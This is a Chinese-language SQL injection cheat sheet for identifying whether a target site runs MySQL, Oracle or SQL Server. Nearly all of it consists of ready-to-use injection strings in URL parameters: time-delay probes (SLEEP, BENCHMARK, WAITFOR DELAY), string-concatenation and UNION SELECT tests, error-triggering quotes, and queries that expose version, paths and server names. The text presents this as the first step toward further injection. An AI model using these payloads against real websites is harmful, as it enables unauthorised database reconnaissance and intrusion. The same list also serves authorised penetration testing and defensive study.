数据库识别

检测目标正在使用DBMS对于后续的SQL注入非常重要。

MySQL

以下查询语句响应后则会表明使用的DBMS是MySQL。

描述 查询语句
睡眠
page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
BenchMark
page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
字符串拼接
page.php?id=' 'mysql' --
功能
connection_id() --
row_count() --
POW(1,1) --
错误消息
page.php?id='
默认变量
@@version_compile_os 操作系统
@@version 数据库版本
@@basedir MySQL路径
@@datadir 数据库路径

Oracle

以下查询语句响应后则会表明使用的DBMS是Oracle。

描述 查询语句
字符串拼接
page.jsp?id='||'oracle' --
功能
BITAND(1,1) --
默认表
page.jsp?id='UNION SELECT 1 FROM v$version --
错误消息
page.jsp?id='

SQL Server

以下查询语句响应后则会表明使用的DBMS是SQL Server。

描述 查询语句
WAITFOR函数
page.asp?id=';WAITFOR DELAY '00:00:10'; --
默认变量
page.asp?id=sql'; SELECT @@SERVERNAME --
字符串拼接
page.php?id='mssql'+'mssql' --
功能
@@rowcount --
SQUARE(1) --
@@pack_received --
错误消息
page.asp?id='
page.asp?id=@@SERVERNAME
page.asp?id=0/@@SERVERNAME